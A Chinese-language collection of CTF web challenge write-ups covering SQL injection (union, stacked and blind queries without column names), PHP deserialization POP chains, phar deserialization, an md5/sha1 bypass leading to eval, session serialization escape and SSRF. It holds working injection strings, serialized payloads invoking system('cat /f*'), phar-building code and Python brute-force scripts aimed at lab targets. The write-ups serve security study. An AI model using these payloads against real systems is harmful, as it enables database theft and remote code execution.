其實
web
[SWPUCTF 2021 新生賽]easy_sql
開啟環境后看到一個提示“球球你輸入點東西吧!”沒有其他信息,就看看源碼
直接試試get傳參
有所顯示
看看是字符型還是數字型
可以判定是字符型
接下來判斷閉合類型
根據顯示,可以得知是單引號閉合類型
然后查字段
4顯示不在,那就往下減
說明字段數是2
查看回顯位
查庫名
查表名
?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db' --+
查列名
?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb' --+
這里看到了flag
查看內容
[suctf 2019]EasySQL? ?(堆疊注入)
先來進行簡單的嘗試
輸入1輸入1\就是空白
再試試引號,單引號空白,雙引號:??
這里就能推測是有黑名單之類的東西
而且輸入1\沒有回復,說明沒有報錯提醒,就沒辦法利用報錯信息,報錯注入就不可以用了
最后使用堆疊注入
列出服務器上的所有數據庫
1;show databases;#
接下來我們只能碰運氣的走下去
首先就試試ctf吧
查ctf數據庫下的表名
1;use ctf;show tables;#
居然有flag
但是當我們繼續下一步
這里我依次嘗試了下面的語句
1;use ctf;describe Flag;#
1;use ctf;show columns from Flag;#
1;use ctf;select flag from Flag;#
1 union select 1,flag from ctf.Flag#
都顯示NOnono
這里想著去看一下源碼吧,結果貌似也沒有很有用
看看別人的呢
這道題目需要我們去對后端語句進行猜解
1、輸入非零數字得到的回顯1和輸入其余字符得不到回顯=>來判斷出內部的查詢語句可能存在有||
2、也就是select 輸入的數據||內置的一個列名 from 表名=>即為
后臺語句為:select $post['query']||flag from Flag
所以我們要解決的問題是? || 或這個問題
測試語句:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接效果為:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
- ?關于 sql_mode : 它定義了 MySQL 應支持的 SQL 語法,以及應該在數據上執行何種確認檢查,其中的PIPES_AS_CONCAT將 ||視為字符串的連接操作符而非 “或” 運算符
- 在oracle 缺省支持 通過 ‘ || ’ 來實現字符串拼接。
- 但在mysql 缺省不支持。需要調整mysql 的sql_mode
- ?模式:pipes_as_concat 來實現oracle 的一些功能
?這個就可以解決||帶來的問題了
select 1||flag from Flag呢,看起來沒有遇見過,但是就是相當于在表后面加一列 1
還有一個非預期解 *,1? ?好像是因為沒有過濾*而造成的,拼接后不難理解
[SWPU 2018]SimplePHP
開啟環境,好干凈的頁面上傳文件界面
查看文件界面看地址欄是可以查看文件的
我們就在這里來查看一下文件
先看看index.php,file.php,upload_file.php這三個已知文件吧
有一個base.php文件
看到flag,想直接去看,但是
接下來看看file.php
file.php下面有兩個文件,
function.php和class.php
這里先來分析一下這個代碼
這是一個關于上傳文件的代碼
當我們上傳文件時,文件后綴有所限制(gif,jpeg,jpg,png)
上傳成功,文件名被修改,原始文件名進行md5加密【md5(原文件名 + 用戶IP)】?,然后后綴為.jpg,再將文件移動到/upload文件夾下
再看看class.php
<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file; //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>
代碼結構分析
?C1e4r類?:
__destruct()
方法會將$str
賦值給$test
并輸出,可能觸發其他魔術方法。?Show類?:
__toString()
方法會在對象被當作字符串使用時觸發_show()
方法存在文件讀取功能,但有危險協議過濾__wakeup()
方法會在反序列化時觸發,也有危險協議過濾?Test類?:
file_get()
方法可以讀取任意文件內容(關鍵漏洞點)- 通過
__get()
魔術方法實現鏈式調用
本題中file.php使用了file_exists()函數,觸發phar反序列化
構造pop鏈
C1e4r類的__destruct()中有echo $this->test;,觸發Show類的__toString(),而該函數中的$content = $this->str['str']->source;,又可以繼續觸發Test類中的__get(),因為Test類中沒有source屬性
<?php
class C1e4r
{public $test;public $str;public function __construct(){$this->str = new Show();}}
class Show
{public $source;public $str;public function __construct(){$this->str=array('str'=>new Test());}}class Test
{public $file;public $params;public function __construct(){$this->params = array('source'=>'/var/www/html/f1ag.php');}
}$a=new C1e4r();
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//設置sutb
$phar->setMetadata($a);//將自定義的meta-data存入manifest
$phar->addFromString("1.txt","123123>");//添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
@unlink('./phar.jpg');
rename("./phar.phar","./phar.jpg");
?將代碼寫入phar.jpg
然后上傳文件
再用phar協議去訪問該文件,得到base64編碼的flag
[極客大挑戰 2020]greatphp
這段代碼的主要邏輯:
-
?**
SYCLOVER
?類**?:- 包含兩個屬性?
$syc
?和?$lover
。 __wakeup()
?魔術方法在反序列化時觸發,檢查以下條件:$this->syc != $this->lover
(值不同)md5($this->syc) === md5($this->lover)
(MD5 哈希相同)sha1($this->syc) === sha1($this->lover)
(SHA1 哈希相同)$this->syc
?不包含?<?php
、(
、)
、"
、'
?等字符
- 如果條件滿足,執行?
eval($this->syc)
(任意代碼執行)。
- 包含兩個屬性?
-
?反序列化入口?:
- 通過?
$_GET['great']
?接收用戶輸入,并調用?unserialize()
。
- 通過?
在類里,無法用數組進行md5繞過,所以用Error類繞過md5和sha1檢測
先來測試一下ab的值
<?php
$a = new Error("payload", 1);$b = new Error("payload", 2);//注意這里需要寫在一行上
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if ($a != $b) {echo "a!=b";
}
echo "<br>";
if (md5($a) === md5($b)) {echo "md5相等" . "<br>";
}
if (sha1($a) === sha1($b)) {echo "sha1相等";
}
?ok,可以
那么就寫payload
由于題目用preg_match過濾了小括號無法調用函數,所以我們嘗試直接include "/flag"
將flag包含進來即可;由于過濾了引號,于是在這里進行取反,這樣解碼后就自動是字符串,無需再加雙引號或單引號。
而且eval執行帶有完整標簽的語句需要先閉合,就類似于將字符串當成代碼寫入到源碼中。
所以最后的payload:
<?phpclass SYCLOVER
{public $syc;public $lover;public function __wakeup(){if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) {if (!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)) {eval($this->syc);} else {die("Try Hard !!");}}}
}$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~" . urldecode($s) . "?>";
$a = new Error($str, 1);$b = new Error($str, 2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));?>
將運行結果get傳參給great
[安洵杯 2019]easy_serialize_php
開啟環境點開看看
源碼,并且地址欄可以看到可以進行get傳參
核心邏輯如下:
?**
filter()
?函數**?:
- 過濾?
php
、flag
、php5
、php4
、fl1g
?等關鍵詞,替換為空。- 例如:
filter("flag.php")
?→?.php
。?**
$_SESSION
?處理**?:
- 默認設置?
$_SESSION["user"] = "guest"
。$_SESSION["function"] = $function
(來自?$_GET['f']
)。$_SESSION["img"]
?由?$_GET['img_path']
?決定:
- 如果?
img_path
?未提供,默認?base64_encode("guest_img.png")
。- 否則,計算?
sha1(base64_encode($_GET['img_path']))
。?**
extract($_POST)
**?:
- 將?
$_POST
?數據直接提取為變量,導致變量覆蓋。?功能分支?:
highlight_file
:顯示當前文件源碼。phpinfo
:執行?phpinfo()
,可能泄露敏感信息。show_image
:反序列化?$serialize_info
?并讀取文件內容。??
變量覆蓋
extract($_POST);
使用這個,我們可以任意post東西上去,覆寫任意變量。
比如我們post一個SESSION['haha'] = 1
, 這個時候原來SESSION的user,function和img項全部會消失,SESSION會只剩一個haha項,值為1
當然,如果我們post三個值user,function和img項上去,就可以替換原來的值。
這里倒沒有那么方便,因為img的處理是在post之后進行的。?
這里找到了提示
if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
這里用到的知識點是php反序列化逃逸
上面提示如果傳入phpinfo的話就會eval執行phpinfo
payload:
index.php?f=phpinfo
這樣就會觸發phpinfo界面,先進去看看會不會有有用信息
直接搜flag或者fl沒有辦法找到,也就是說沒有flag
然后換了一個想法,搜f1
再來觸發一下show_image
$userinfo['img']只進行了base64解碼,結合前面我們需要讓guset_img.png逃逸
繼續跟進$userinfo['img']的入口,$userinfo = unserialize($serialize_info);? $serialize_info = filter(serialize($_SESSION));
所以是$_SESSION序列化后被filter函數處理,再反序列化賦給userinfo,最后取出img這個鍵對應的值
反序列化
<?php
$_SESSION["user"] = '*';
$_SESSION['function'] = '**';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
因為我們要讓guest_img.png逃逸換成,那我們function就應該
為;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
,讓前面user的值被filter()函數替換掉,讓";s:8:"function";s:40:
這22個字符成為user的值,img成為一個鍵,但是本來是有三個鍵,因此我們這里還需要自己寫一個鍵,最終結果為
<?php
$_SESSION["user"] = 'phpphpphpflagphpphpphp';
$_SESSION['function'] = ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
?>
a:3:{s:4:”user”;s:22:”phpphpphpflagphpphpphp”;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}
經過filter函數處理后 a:3:{s:4:”user”;s:22:””;s:8:”function”;s:56:”;s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==“;s:1:”a”;s:1:”a”;}”;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==“;}
那么POST傳入參數
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";}
查看源碼發現flag在/d0g3_fllllllag中,base64編碼后再次傳參讀取即可
_SESSION[user]=phpphpphpflagphpphpphp&_SESSION[function] =;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"a";s:1:"a";}
[LitCTF 2023]這是什么?SQL !注一下 !
先直接輸入1其實在左下角有關鍵提示 ,這就直接告訴我們sql語句
給出的sql語句可以看出閉合方式是(((((())))))
然后id=1時username=tanji,password=OHHHHHH
試試別的id
id=2
利用已知的閉合方式來進行嘗試
?成功
字段數就不用再查了,前面的就能看出是兩個字段
查回顯位
查庫名
看看那個ctf吧
查表名
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
查列名
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+
有三列,分別是:id,username,password
查詢列中的所有內容
-1)))))) union select username,password from users--+
?
這里一看就沒有flag
換個數據庫
但是我們需要先找找,show查詢走不通,用select
-1)))))) union select 1,schema_name from information_schema.schemata--+
?這里注意到ctftraining
查詢 ctftraining 數據庫的所有表名、列名
查詢 ctftraining 數據庫的所有表名:
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+
看到了flag
?查詢 flag 表的所有列名:
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+
查內容
-1)))))) union select 1,flag from ctftraining.flag--+
[FSCTF 2023]ez_php1
第一層,數組繞過
第二層
把KEY值序列化就行
第三層
P0int.php
,是一個簡單的反序列化,調用函數的時候讀取了flag
的base64
值并賦值給了a
變量,但是__destruct
函數中輸出的確實b
的值,所以將b
綁定為a
的地址即可
<?php
class Clazz
{public $a;public $b;public function __construct(){$this->b = &$this->a;}public function __wakeup(){$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");}public function __destruct(){echo $this->b;}
}
$c = new Clazz();echo serialize($c);
//data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
解個base就可以得到flag
[MoeCTF 2022]ezphp
開啟環境
?首先對php代碼進行審計:
$flag=’xxxxxxx‘可不是代表flag的值是xxx,這段代碼是通過第一行的代碼:highlight_file('source.txt');把source.txt中的內容顯示在了界面上,真實flag的值隱藏了起來,這里專門寫出的意義是提醒同學們最后要得到的flag在$flag中。
這一行代碼首先使用isset()函數檢查$_GET['flag']和$_POST['flag']兩個變量是否存在。如果兩者都不存在,則執行exit($giveme),腳本輸出$giveme變量的值并終止執行。
這一行代碼檢查$_POST['flag']和$_GET['flag']兩個變量是否等于字符串'flag'。如果其中任何一個變量的值為'flag',則執行exit($getout),腳本輸出$getout變量的值并終止執行。值得注意的是這里的判斷是===。
這部分代碼使用foreach分別循環遍歷$_POST數組和$_GET數組。對于每個鍵值對,在$_POST數組中,將鍵作為變量名,將對應的值作為變量值。在$_GET數組中,對于每個鍵值對,將值作為變量名,并將對應變量的值賦給當前循環的變量。這里是題的關鍵所在,如何理解這個$$,可以參照下例:
讓我們假設URL為:http://example.com?name=John&age=25
在這種情況下,$_GET數組如下:
$_GET = array('name' => 'John','age' => '25'
);
現在,如果我們使用該foreach循環來遍歷$_GET
數組:?
foreach ($_GET as $key => $value) {$$key = $value;
}
該循環將創建兩個變量$name
和$age
,并將它們的值分別設置為’John’和’25’。
因此,上述代碼等效于以下賦值操作:
$name = 'John';
$age = '25';
現在,我們可以直接使用這些變量$name
和$age
來訪問相應的值:
echo $name; // 輸出:John
echo $age; // 輸出:25
理解之后,在加上之前的判斷,我們可以得出答案:?a=flag&flag=a.
?實際的過程是$a = $flag,隨后$flag = $a = $flag,即flag的值沒有發生變化,且滿足上述的需求。
[FSCTF 2023]ez_php2
點開之后是一段php代碼:
<?php
highlight_file(__file__);
Class Rd{public $ending;public $cl;public $poc;public function __destruct(){echo "All matters have concluded";die($this->ending);}public function __call($name, $arg){foreach ($arg as $key =>$value){if($arg[0]['POC']=="1111"){echo "1";$this->cl->var1 = "system";}}}
}class Poc{public $payload;public $fun;public function __set($name, $value){$this->payload = $name;$this->fun = $value;}function getflag($paylaod){echo "Have you genuinely accomplished what you set out to do?";file_get_contents($paylaod);}
}class Er{public $symbol;public $Flag;public function __construct(){$this->symbol = True;}public function __set($name, $value){$value($this->Flag);}}class Ha{public $start;public $start1;public $start2;public function __construct(){echo $this->start1."__construct"."</br>";}public function __destruct(){if($this->start2==="11111") {$this->start1->Love($this->start);echo "You are Good!";}}
}if(isset($_GET['Ha_rde_r']))
{unserialize($_GET['Ha_rde_r']);
} else{die("You are Silly goose!");
}
?> You are Silly goose!
首先我們審計這段代碼。
這段代碼主要定義了四個類(Rd、Poc、Er、Ha),并通過檢查 $_GET 參數來決定是否進行反序列化操作。如果存在特定的 $_GET 參數,則嘗試反序列化其值,否則輸出 “You are Silly goose!”。
以下是對代碼的詳細解讀:
<?php
highlight_file(__file__); 這個函數會高亮顯示
當前文件的代碼內容,通常用于調試或展示代碼結構,但
在生產環境中一般不應該使用,因為它可能會暴露敏感信息。
Class Rd{ 定義了一個名為Rd的類。public $ending;public $cl;public $poc;聲明了三個公共屬性public function __destruct() __destruct()魔術方法:當對象被銷毀時會觸發這個方法。它會輸出 “Allmatters have concluded”,然后使用die()函數終止程序并輸出ending屬性的值。{echo "All matters have concluded";die($this->ending);}public function __call($name, $arg)__call()魔術方法:當調用一個不可訪問的方法時會觸發這個方法。這里它遍歷傳入的參數,如果參數中的某個元素的鍵為POC且值為 “1111”,則輸出 “1”,并將cl屬性的var1屬性設置為 “system”。{foreach ($arg as $key =>$value){if($arg[0]['POC']=="1111"){echo "1";$this->cl->var1 = "system";}}}
}class Poc{ 定義了一個名為Poc的類。public $payload;public $fun;聲明了兩個公共屬性。public function __set($name, $value) __set()魔術方法:當給一個不可訪問的屬性賦值時會觸發這個方法。它將傳入的屬性名和值分別賦值給payload和fun屬性。{$this->payload = $name;$this->fun = $value;}function getflag($paylaod) getflag()方法:輸出一段文本,然后使用file_get_contents()函數嘗試獲取傳入參數所指定的文件內容。如果傳入的參數是惡意的,可能會導致安全問題,例如讀取敏感文件。{echo "Have you genuinely accomplished what you set out to do?";file_get_contents($paylaod);}
}class Er{ 定義了一個名為Er的類public $symbol;public $Flag;聲明了兩個公共屬性。public function __construct() __construct()構造方法:將symbol屬性初始化為True。{$this->symbol = True;}public function __set($name, $value)__set()魔術方法:當給一個不可訪問的屬性賦值時會觸發這個方法。它會將傳入的值作為函數調用,并將Flag屬性作為參數傳入這個函數。如果傳入的值是惡意的函數,可能會導致安全問題。{$value($this->Flag);}}class Ha{ 定義了一個名為Ha的類。public $start;public $start1;public $start2;聲明了三個公共屬性。public function __construct() __construct()構造方法:輸出start1屬性的值和 “__construct” 以及一個換行符。{echo $this->start1."__construct"."</br>";}public function __destruct() __destruct()魔術方法:當對象被銷毀時會觸發這個方法。如果start2屬性的值為 “11111”,則調用start1屬性的Love()方法,并傳入start屬性作為參數,然后輸出 “You are Good!”。{if($this->start2==="11111") {$this->start1->Love($this->start);echo "You are Good!";}}
}if(isset($_GET['Ha_rde_r']))
{unserialize($_GET['Ha_rde_r']);
} else{die("You are Silly goose!");
}檢查是否存在$_GET['Ha_rde_r']參數。如果存在,則對
其進行反序列化操作;如果不存在,則輸出 “You are Sil
ly goose!”。這里的反序列化操作如果傳入的參數被惡意構
造,可能會導致安全問題,例如對象注入攻擊。
?> You are Silly goose!
開始找鏈子,入口在Ha里面。觸發__destruct方法后,給start2賦值"11111",然后進入如下語句:
$this->start1->Love($this->start);
使得其觸發__call方法,然后給start賦值[‘POC’=>‘1111’]
進入if語句,然后通過其中的var1觸發__set方法
然后value就成為了system,修改$Flag就可以修改執行的命令了
然后我們構造如下腳本:
<?php
Class Rd{public $cl;
}
class Er{public $Flag='cat /f*';
}
class Ha{public $start;public $start1;public $start2="11111";
}$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
運行之后得到:
?我們構造payload:
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}
然后我們打開HackBar 運行之后得到flag:?
[網鼎杯 2018]Fakebook
進入頁面,常規審計F12無發現,這邊先掃一下有無泄露掃目錄,發現存在robots.txt和flag.php,訪問后發現源碼泄露/user.php.bak
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}
curl_init(url)函數,初始化一個新的會話,返回一個cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函數使用。參數url如果提供了該參數,CURLOPT_URL 選項將會被設置成這個值。
curl_setopt ( resource $ch , int $option , mixed $value ) 設置 cURL 傳輸選項,為 cURL 會話句柄設置選項。參數:
ch:由 curl_init() 返回的 cURL 句柄。
option:需要設置的CURLOPT_XXX選項。(CURLOPT_URL:需要獲取的 URL 地址,也可以在curl_init() 初始化會話的時候。使用 CURLOPT_RETURNTRANSFER 后總是會返回原生的(Raw)內容。)
value:將設置在option選項上的值。
curl_getinfo — 獲取一個cURL連接資源句柄的信息,獲取最后一次傳輸的相關信息。
經過分析可得:
1,注冊界面輸入的blog經過了isValidBlog()函數的過濾,不然直接在注冊界面blog處輸入file:///var/www/html/flag.php就能拿到flag。
2,get()函數存在ssrf漏洞。
顯然存在ssrf漏洞,并且拼接入我們的url就是我們注冊的時候輸入的url,但是顯然是有waf的,所以我們就不能夠直接利用。。沒有WAF直接在注冊界面輸入file:///var/www/html/flag.php就能拿到我們想要的flag。所以,我們的思路是,把flag的路徑賦給blog,經過一系列操作最后會返回flag.php的內容。
[WEEK2]easy_sql -- 無列名盲注
o!看了wp才知道就是union無列名注入 小問題 出來就好!!嘿嘿
分析
打開題目,發現頁面的回顯只有:1的、錯誤、error 三種 可以考慮盲注了
and && ^ # --+ 都被過濾
- 盲注的話考慮:與、異或、按位或、按位與
- 沒有辦法閉合考慮 or ||
sql中字符數字可以和數字進行按位或
構造 1'|1||'
正確回顯 1'|2||'
錯誤回顯
然后進行爆破數據庫長度
發現數據庫的長度是3
進一步嘗試,order、information_schema都被過濾
information_schema 被過濾 -> 無列名注入
order 被過濾 -> group 替換
爆破數據庫的列數,3列
1'group/**/by/**/3,' 前面的'閉合1前的' 后面的是閉合之前有的' 加上,分開 因為過濾了# 和 + 無法注釋 而order by group by要在最后 使用,分割 select * from xx where id = '1'group by 5,'2'
information_schema.table被過濾 可以使用 mysql.innodb_table_stats
腳本爆破一下表的名字 得出 ccctttfff
def get_cloumns(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
下面無列名爆破數據
select 1,2,3 union select * from ccctttfff
這樣以來 1 2 3 分別對應一列 二列 三列 的列名
然后
select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a
這樣就可以在沒有列名的情況下查詢到數據庫信息
然后我們開始盲注
1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'
運行了好多遍 遍歷出來的三列分別是
# 第一列 1 # 第二列 bob # 第三列 I am so handsome
嗚嗚嗚,跑了好多遍,終于懷疑:出題人是不是沒有把flag放到這數據庫
重新跑所有的數據庫庫名
qwq,原諒我太菜
跑出來有兩個數據庫
ctf
ccctttfff
# 這個腳本的缺點:半自動 但是跑出來的表不會重復 需要修改 # limit 0,1 =>第一個數據庫 # limit 1,1 =>第二個數據庫 # ...... def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1 # 這個腳本的缺點:有多少個表 就會跑多少個數據庫 數據庫會重復 def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1
第一個腳本結果:
第二個腳本結果:
然后我跑的是所有的表名
因為知道ccctttff屬于ctf,那么跑出來的其余的都是ctftraining的
# 結果: # ctf:ccctttfff # ctftraining:flag,news,users,gtid_slave_pos def get_tables(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
我是估計flag就在flag表里面,但是把無列名查詢我們要知道表中具體的列數的 我們又不知道flag表多少列
我查了資料也沒找到,因為information_schema被過濾,有大佬知道可以說下的!
然后就是靠懵了
比賽中表的列數一般會小于10 也就 3 4 5左右
我是從1開始試的
1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'
腳本
def get_values(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) print(i) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
最后也是跑出來了
PS:這個題挺雞賊的哈哈哈